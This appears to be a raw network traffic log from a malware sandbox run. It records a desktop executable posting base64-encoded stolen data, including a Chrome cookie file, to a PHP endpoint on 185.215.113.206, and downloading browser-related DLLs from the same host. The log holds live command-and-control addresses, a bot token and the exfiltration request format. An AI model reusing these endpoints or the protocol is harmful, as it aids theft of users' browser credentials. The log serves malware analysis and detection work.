Nov 20, 2024 21:05:19.416949034 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDGDHJJDGHCAAAKEHIJK Host: 185.215.113.206 Content-Length: 5883 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 21:05:19.416996956 CET	5883	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 61 33 37 61 37 Data Ascii: ------GDGDHJJDGHCAAAKEHIJKContent-Disposition: form-data; name="token"7a37a74df9cee8afbe7298ea36f72355bd0a5c57ab4d294f8e00791ee45fa33b38ccdeba------GDGDHJJDGHCAAAKEHIJKContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 20, 2024 21:05:20.516890049 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 21:05:21.159904957 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 21:05:21.606194973 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:21 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 20, 2024 21:05:21.606762886 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 20, 2024 21:05:21.610398054 CET	448	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Nov 20, 2024 21:05:21.611924887 CET	1236	IN	Data Raw: 0e 70 eb 61 89 04 24 ff 15 80 02 ed 61 52 52 89 c2 85 d2 74 09 c7 04 24 78 67 eb 61 ff d2 c7 04 24 96 14 e0 61 e8 fc e2 0a 00 c9 c3 55 89 e5 5d c3 90 03 14 85 a0 c3 ec 61 55 89 e5 89 14 85 a0 c3 ec 61 83 c0 08 3b 14 85 a8 c3 ec 61 76 07 89 14 85 Data Ascii: pa$aRRt$xga$aU]aUa;ava]tUS$R[]UWVS,u}L$T$$t$\|$S,[^_]UWVS,u}L$T$$t$\|$S,[^_]UV0T$L$$V^]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49740	185.215.113.206	80	6932	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 21:05:30.929877043 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHCFBFBAEBKJKEBGCAEH Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 43 46 42 46 42 41 45 42 4b 4a 4b 45 42 47 43 41 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 61 33 37 61 37 34 64 66 39 63 65 65 38 61 66 62 65 37 32 39 38 65 61 33 36 66 37 32 33 35 35 62 64 30 61 35 63 35 37 61 62 34 64 32 39 34 66 38 65 30 30 37 39 31 65 65 34 35 66 61 33 33 62 33 38 63 63 64 65 62 61 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 46 42 46 42 41 45 42 4b 4a 4b 45 42 47 43 41 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 46 42 46 42 41 45 42 4b 4a 4b 45 42 47 43 41 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------EHCFBFBAEBKJKEBGCAEHContent-Disposition: form-data; name="token"7a37a74df9cee8afbe7298ea36f72355bd0a5c57ab4d294f8e00791ee45fa33b38ccdeba------EHCFBFBAEBKJKEBGCAEHContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------EHCFBFBAEBKJKEBGCAEHContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------EHCFBFBAEBKJKEBGCAEH--
Nov 20, 2024 21:05:32.818869114 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 21:05:32.906373024 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKEHDBAEGIIIEBGCAAFH Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 61 33 37 61 37 34 64 66 39 63 65 65 38 61 66 62 65 37 32 39 38 65 61 33 36 66 37 32 33 35 35 62 64 30 61 35 63 35 37 61 62 34 64 32 39 34 66 38 65 30 30 37 39 31 65 65 34 35 66 61 33 33 62 33 38 63 63 64 65 62 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KKEHDBAEGIIIEBGCAAFHContent-Disposition: form-data; name="token"7a37a74df9cee8afbe7298ea36f72355bd0a5c57ab4d294f8e00791ee45fa33b38ccdeba------KKEHDBAEGIIIEBGCAAFHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KKEHDBAEGIIIEBGCAAFHContent-Disposition: form-data; name="file"------KKEHDBAEGIIIEBGCAAFH--
Nov 20, 2024 21:05:33.854425907 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49780	185.215.113.206	80	6932	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 21:05:40.378873110 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKKKEHDHCBFIEBFBGID Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 21:05:40.379018068 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 4b 4b 45 48 44 48 43 42 46 49 45 42 46 42 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 61 33 37 61 37 Data Ascii: ------DBKKKEHDHCBFIEBFBGIDContent-Disposition: form-data; name="token"7a37a74df9cee8afbe7298ea36f72355bd0a5c57ab4d294f8e00791ee45fa33b38ccdeba------DBKKKEHDHCBFIEBFBGIDContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 20, 2024 21:05:42.220603943 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 21:05:42.363651037 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKEBFHIJECFIDGDGCGHC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 61 33 37 61 37 34 64 66 39 63 65 65 38 61 66 62 65 37 32 39 38 65 61 33 36 66 37 32 33 35 35 62 64 30 61 35 63 35 37 61 62 34 64 32 39 34 66 38 65 30 30 37 39 31 65 65 34 35 66 61 33 33 62 33 38 63 63 64 65 62 61 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BKEBFHIJECFIDGDGCGHCContent-Disposition: form-data; name="token"7a37a74df9cee8afbe7298ea36f72355bd0a5c57ab4d294f8e00791ee45fa33b38ccdeba------BKEBFHIJECFIDGDGCGHCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BKEBFHIJECFIDGDGCGHCContent-Disposition: form-data; name="file"------BKEBFHIJECFIDGDGCGHC--
Nov 20, 2024 21:05:43.307691097 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 21:05:43.763187885 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 21:05:44.215780020 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:43 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 20, 2024 21:05:44.215802908 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO
Nov 20, 2024 21:05:44.215812922 CET	1236	IN	Data Raw: 01 00 00 e8 3f 0b 08 00 83 c4 04 85 c0 74 30 89 c7 89 80 38 01 00 00 83 c7 0f 31 f6 83 e7 f0 74 6b 8b 45 14 8b 55 10 8b 5d 0c 8b 4d 08 85 db 74 1f f2 0f 10 03 f2 0f 11 87 30 01 00 00 eb 25 68 13 e0 ff ff e8 f2 0a 08 00 83 c4 04 31 f6 eb 3c c7 87 Data Ascii: ?t081tkEU]Mt0%h1<40jRjjPQWt8^_[]UWVut }jVt8h^_]USWVPL$,M01D$HD$4r
Nov 20, 2024 21:05:44.215919971 CET	1236	IN	Data Raw: 24 1c 00 00 00 00 89 44 24 08 c7 44 24 24 00 00 00 00 c7 44 24 20 00 00 00 00 31 d2 31 c9 89 5c 24 28 eb 24 89 c7 8b 44 24 1c 83 c0 01 83 f8 06 8b 54 24 18 8b 4c 24 14 0f 84 e2 01 00 00 89 44 24 1c 8a 44 24 07 04 ff 8b 74 24 38 0f 1f 84 00 00 00 Data Ascii: $D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$ L$$\$\$T$1%1%1T$D\|$@\|$t\$(
Nov 20, 2024 21:05:44.215929985 CET	148	IN	Data Raw: c1 09 ca c1 fa 1f f7 db 83 e3 07 31 ff 39 d9 f7 d2 0f 44 fa 89 45 d0 89 45 dc 89 ca f7 da c1 fa 1f f7 d2 8b 45 1c 80 7c 30 f7 01 19 db 09 d3 b8 01 00 00 00 29 c8 c1 f8 1f 8b 55 1c 80 7c 32 f6 01 19 d2 f7 d0 09 c2 21 da 21 fa b8 02 00 00 00 29 c8 Data Ascii: 19DEEE\|0)U\|2!!)]\|3)\|3!)}\|7!
Nov 20, 2024 21:05:44.216109991 CET	1236	IN	Data Raw: 21 d7 b8 05 00 00 00 29 c8 c1 f8 1f f7 d0 8b 55 1c 80 7c 32 f2 01 19 db 09 c3 b8 06 00 00 00 29 c8 c1 f8 1f 80 7c 32 f1 01 f7 d0 19 d2 09 c2 21 da 21 fa b8 07 00 00 00 29 c8 c1 f8 1f f7 d0 8b 4d 1c 80 7c 31 f0 01 19 c9 09 c1 85 ca 74 2f 8b 45 10 Data Ascii: !)U\|2)\|2!!)M\|1t/EU;U]w"1E9t:RVP -:]QsE9uSjPEtSP\M1$^_[]USWVut:}t$FHjS
Nov 20, 2024 21:05:44.216160059 CET	1236	IN	Data Raw: 08 8b 55 18 8b 4d 14 8b 5d 0c 8b 75 08 8b 3e 8b 46 04 39 d8 74 3a 8d 4e 08 8b 56 08 c7 46 08 00 00 00 00 85 ff 89 4d ec 89 55 f0 74 48 8b 48 0c ff 15 00 80 0a 10 6a 01 57 ff d1 83 c4 08 68 0c 01 00 00 6a 00 56 e8 34 fc 07 00 83 c4 0c eb 25 85 ff Data Ascii: UM]u>F9t:NVFMUtHHjWhjV4%tUVPdnFEFEF^Kt=Uuu#t>t FHjWEM1^_[]USWVu>
Nov 20, 2024 21:05:44.216172934 CET	1236	IN	Data Raw: 00 00 8d bd f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 89 b5 ec fe ff ff 56 e8 cf f7 07 00 83 c4 0c bb 00 01 00 00 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 8b 75 0c 56 ff 75 08 57 e8 ac f7 07 00 83 c4 0c 01 f7 29 f3 39 f3 77 e8 53 ff 75 08 57 e8 Data Ascii: hh !Vf.@uVuW)9wSuWT>\>=t%>>fM1^_[]U}th
Nov 20, 2024 21:05:44.216200113 CET	1236	IN	Data Raw: 01 85 c0 89 4d c8 0f 84 ef 01 00 00 89 d1 83 e1 fe 66 0f 6f 05 c0 20 08 10 31 f6 66 0f ef c9 66 0f ef d2 8b 7d 10 8b 5d cc 0f 1f 80 00 00 00 00 89 f0 09 d8 66 0f 6e 34 07 66 0f ef db 66 0f 60 f3 66 0f 61 f3 66 0f 6f f8 66 0f 72 f7 17 66 0f 6f 1d Data Ascii: Mfo 1ff}]fn4ff`fafofrfo f[fpffpffof% fpfpfbfnlff`fafffrf% [fpffpfpffpfbffof fnf`f
Nov 20, 2024 21:05:44.224643946 CET	1236	IN	Data Raw: 8a 34 30 88 34 38 88 14 30 00 d6 0f b6 f6 8a 75 e8 8b 7d e4 8a 54 0f ff 32 14 30 8b 45 dc 88 54 08 ff 8b 45 d8 01 c8 83 c0 01 83 c1 01 83 f8 01 75 ba 8b 45 f0 88 98 00 01 00 00 88 b0 01 01 00 00 31 c0 83 c4 34 5e 5f 5b 5d c3 0f b6 d2 89 55 ec 89 Data Ascii: 40480u}T20ETEuE14^_[]UM1]U}f.MMuEMMU2}E0MEEMLEE0}M1M
Nov 20, 2024 21:05:45.743936062 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 21:05:46.211926937 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:45 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 20, 2024 21:05:47.066520929 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 21:05:47.516158104 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:47 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 20, 2024 21:05:48.187799931 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 21:05:48.645159006 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:48 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 20, 2024 21:05:51.937119007 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
